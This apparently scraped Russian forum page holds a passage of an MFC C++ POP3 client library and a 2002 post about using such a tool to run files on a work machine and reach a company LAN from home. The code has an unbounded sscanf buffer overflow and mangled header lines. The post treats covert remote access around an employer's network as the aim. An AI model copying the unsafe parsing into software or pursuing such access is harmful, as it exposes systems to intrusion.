  LPSTR pszOverFlowBuffer = NULL;
  int nSize = 14 * nNumberOfMails + 100;
  char* sBuf = new char[nSize];
  char* sMessageBuf = sBuf;
  if (!ReadResponse(sBuf, nSize, "\r\n.\r\n", &pszOverFlowBuffer))
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

		TRACE(_T("Error retrieving the LIST response from the POP3 server"));
		return FALSE;
	}
  if (pszOverFlowBuffer)
    sMessageBuf = pszOverFlowBuffer;

  //determine if the response is an error
  if (strnicmp(sMessageBuf,"+OK", 3) != 0)
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

    SetLastError(WSAEPROTONOSUPPORT);
		TRACE(_T("POP3 server did not respond correctly to the LIST response\n"));
		return FALSE;
	}
	else
	{  
    //Retrieve the message sizes and put them
    //into the m_msgSizes array
    m_msgSizes.RemoveAll();
    m_msgSizes.SetSize(0, nNumberOfMails);

    //then parse the LIST response
		char* pszSize = GetFirstCharInResponse(sMessageBuf);
		VERIFY(pszSize);
		for (; *pszSize != '.'; pszSize++)
			if (*pszSize == '\t'|*pszSize == ' ')
				m_msgSizes.Add(atoi(pszSize));
	}
  delete [] sBuf;
  if (pszOverFlowBuffer)
    delete [] pszOverFlowBuffer;

  return TRUE; 
}

BOOL CPop3Connection::ReadUIDLResponse(int nNumberOfMails)
{
  //Must be connected to perform a "UIDL"
  ASSERT(m_bConnected);

  //retrieve the reponse
  LPSTR pszOverFlowBuffer = NULL;
  int nSize = 14 * nNumberOfMails + 100;
  char* sBuf = new char[nSize];
  char* sMessageBuf = sBuf;
  if (!ReadResponse(sBuf, nSize, "\r\n.\r\n", &pszOverFlowBuffer))
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

		TRACE(_T("Error retrieving the UIDL response from the POP3 server"));
		return FALSE;
	}
  if (pszOverFlowBuffer)
    sMessageBuf = pszOverFlowBuffer;

  //determine if the response is an error
  if (strnicmp(sMessageBuf,"+OK", 3) != 0)
	{
    delete [] sBuf;
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

    SetLastError(WSAEPROTONOSUPPORT);
		TRACE(_T("POP3 server did not respond correctly to the UIDL response\n"));
		return FALSE;
	}
	else
	{  
    //Retrieve the message ID's and put them
    //into the m_msgIDs array
    m_msgIDs.RemoveAll();
    m_msgIDs.SetSize(0, nNumberOfMails);

		//then parse the UIDL response
		char* pszSize = GetFirstCharInResponse(sMessageBuf);
		
		VERIFY(pszSize);
		for (int iCount=0; iCount<nNumberOfMails; iCount++)
		{
		  char* pszBegin = pszSize;
		  while (*pszSize != '\n' && *pszSize != '\0')
  			++pszSize;

		  char sMsg[15];
		  char sID[1000];
		  *pszSize = '\0';
		  sscanf(pszBegin, "%s %s", sMsg, sID);

		  m_msgIDs.Add(CString(sID));
		  pszSize++;
		}
	}
  delete [] sBuf;
  if (pszOverFlowBuffer)
    delete [] pszOverFlowBuffer;

  return TRUE; 
}

BOOL CPop3Connection::ReadStatResponse(int& nNumberOfMails, int& nTotalMailSize)
{
  //Must be connected to perform a "STAT"
  ASSERT(m_bConnected);

  //retrieve the reponse
  LPSTR pszOverFlowBuffer = NULL;
  char sBuf[100];
  char* sMessageBuf = sBuf;
  if (!ReadResponse(sBuf, 100, "\r\n", &pszOverFlowBuffer))
  {
    if (pszOverFlowBuffer)
      delete [] pszOverFlowBuffer;

		TRACE(_T("Error retrieving the STAT response from the POP3 server"));
		return FALSE;
  }
  if (pszOverFlowBuffer)
    sMessageBuf = pszOverFlowBuffer;

  //determine if the response is an error
  if (strncmp(sMessageBuf,"+OK", 3) != 0)
	{
		TRACE(_T("POP3 server did not respond correctly to the STAT response\n"));
		return FALSE;
	}
	else
	{                                          
    //Parse out the Number of Mails and Total mail size values
		BOOL bGetNumber = TRUE;
		for (char* pszNum=sMessageBuf; *pszNum!='\0'; pszNum++)
		{
			if (*pszNum=='\t'|*pszNum==' ')
			{						
				if (bGetNumber)
				{
					nNumberOfMails = atoi(pszNum);
          m_nNumberOfMails = nNumberOfMails;
					bGetNumber = FALSE;
				}
				else
				{
					nTotalMailSize = atoi(pszNum);
					return TRUE;
				}
			}
		}
	}
  if (pszOverFlowBuffer)
    delete [] pszOverFlowBuffer;

  return FALSE; 
}

---

pop3.h
/*
Module : POP3.H
Purpose: Defines the interface for a MFC class encapsulation of the POP3 protocol
Created: PJN / 04-05-1998

Copyright (c) 1998 - 2001 by PJ Naughter.  (Web: www.naughter.com, Email: pjna@naughter.com)

All rights reserved.

Copyright / Usage Details:

You are allowed to include the source code in any product (commercial, shareware, freeware or otherwise) 
when your product is released in binary form. You are allowed to modify the source code in any way you want 
except you cannot modify the copyright details at the top of each module. If you want to distribute source 
code with your application, then you are only allowed to distribute versions released by the author. This is 
to maintain a single distribution point for the source code. 

*/


/////////////////////////////// Defines ///////////////////////////////////////
#ifndef_POP3_H_#define_POP3_H_
#ifndef_AFXTEMPL_H_#pragma message("POP3 classes require afxtempl.h in your PCH")                                                                                
#endif

#ifndefWINSOCKAPI#pragma message("POP3 classes require afxsock.h or winsock.h in your PCH")
#endif
  

/////////////////////////////// Classes ///////////////////////////////////////

////// forward declaration
class CPop3Connection;

//Encapsulation of a POP3 message
class CPop3Message
{
public:
//Constructors / Destructors
  CPop3Message();
  ~CPop3Message();

//Methods
  LPCSTR GetMessageText() const { return m_pszMessage; };
  CString GetHeader() const;
  CString GetHeaderItem(const CString& sName, int nItem = 0) const;
  CString GetBody() const;
	LPCSTR  GetRawBody() const;
	CString GetSubject() const { return GetHeaderItem(_T("Subject")); }
	CString GetFrom() const		 { return GetHeaderItem(_T("From")); }
	CString GetDate() const		 { return GetHeaderItem(_T("Date")); }
  CString GetTo() const	     { return GetHeaderItem(_T("To")); }
	CString GetCC() const	     { return GetHeaderItem(_T("CC")); }
	CString GetReplyTo() const;

//protected:
  char* m_pszMessage;

  friend class CPop3Connection;
};


//Simple Socket wrapper class
class CPop3Socket
{
public:
//Constructors / Destructors
  CPop3Socket();
  ~CPop3Socket();

//methods
  BOOL  Create();
  BOOL  Connect(LPCTSTR pszHostAddress, int nPort = 110);
  BOOL  Send(LPCSTR pszBuf, int nBuf);
  void  Close();
  int   Receive(LPSTR pszBuf, int nBuf);
  BOOL  IsReadible(BOOL& bReadible);

protected:
  BOOL   Connect(const SOCKADDR* lpSockAddr, int nSockAddrLen);
  SOCKET m_hSocket;

	friend class CPop3Connection;
};
  

//The main class which encapsulates the POP3 connection
class CPop3Connection
{
public:
//Constructors / Destructors
  CPop3Connection();
  ~CPop3Connection();

//Methods
  BOOL    Connect(LPCTSTR pszHostName, LPCTSTR pszUser, LPCTSTR pszPassword, int nPort = 110);
  BOOL    Disconnect();
  BOOL    Statistics(int& nNumberOfMails, int& nTotalMailSize);
  BOOL    Delete(int nMsg);
  BOOL    GetMessageSize(int nMsg, DWORD& dwSize);
  BOOL    GetMessageID(int nMsg, CString& sID);
  BOOL    Retrieve(int nMsg, CPop3Message& message);
  BOOL    GetMessageHeader(int nMsg, CPop3Message& message);
  BOOL    Reset();
  BOOL    UIDL();
  BOOL    Noop();
  CString GetLastCommandResponse() const { return m_sLastCommandResponse; };
  DWORD   GetTimeout() const { return m_dwTimeout; };
  void    SetTimeout(DWORD dwTimeout) { m_dwTimeout = dwTimeout; };

protected:
  virtual BOOL ReadStatResponse(int& nNumberOfMails, int& nTotalMailSize);
	virtual BOOL ReadCommandResponse();
  virtual BOOL ReadListResponse(int nNumberOfMails);
  virtual BOOL ReadUIDLResponse(int nNumberOfMails);
  virtual BOOL ReadReturnResponse(CPop3Message& message, DWORD dwSize);
  virtual BOOL ReadResponse(LPSTR pszBuffer, int nInitialBufSize, LPSTR pszTerminator, 
                            LPSTR* ppszOverFlowBuffer, int nGrowBy=4096);
  BOOL  List();
  LPSTR GetFirstCharInResponse(LPSTR pszData) const;

  CPop3Socket  m_Pop;
  int          m_nNumberOfMails;
  BOOL         m_bListRetrieved;
  BOOL         m_bStatRetrieved;
  BOOL         m_bUIDLRetrieved;
  CDWordArray  m_msgSizes;
  CStringArray m_msgIDs;
  BOOL         m_bConnected;
  CString      m_sLastCommandResponse;
	DWORD        m_dwTimeout;
};


#endif /_POP3_H_

---
Святая простота! :-) 03.10.02 22:46  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
Ну вот, мы научились с помощью этого сервера? клиента? класть или забирать на удалённую тачку файло и запускать его! Круто. Получился вроде как "вывернутый наизнанку FTP", правильно подмечено. Но в самом первом письме, вообще-то, человек хотел другое — "Как можно проникнуть в LAN фирмы из домашнего компа" — так звучал вопрос. На самом деле ему (да и многим), нужна "вывернутая наизнанку VPN", вот в чём дело, чтобы можно было поиметь доступ не только к своей рабочей тачке, но и к другим машинам в сети предприятия _со своей домашней_, а не с рабочей, к которой приконнектились этой софтиной и запускаем на ней грязные екзекьюшники, садистки убивая всех и вся по сети ;-).
И я в своём предыдущем письме имел ввиду, что это должно быть что-то вроде интерфейса, знаете — если это в Win2k, то будет эдакий ярлычок в папке "Сеть и удалённый доступ к сети".
Тут время разработки затянется, я думаю ;-)
1  |  2 >>  »  




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach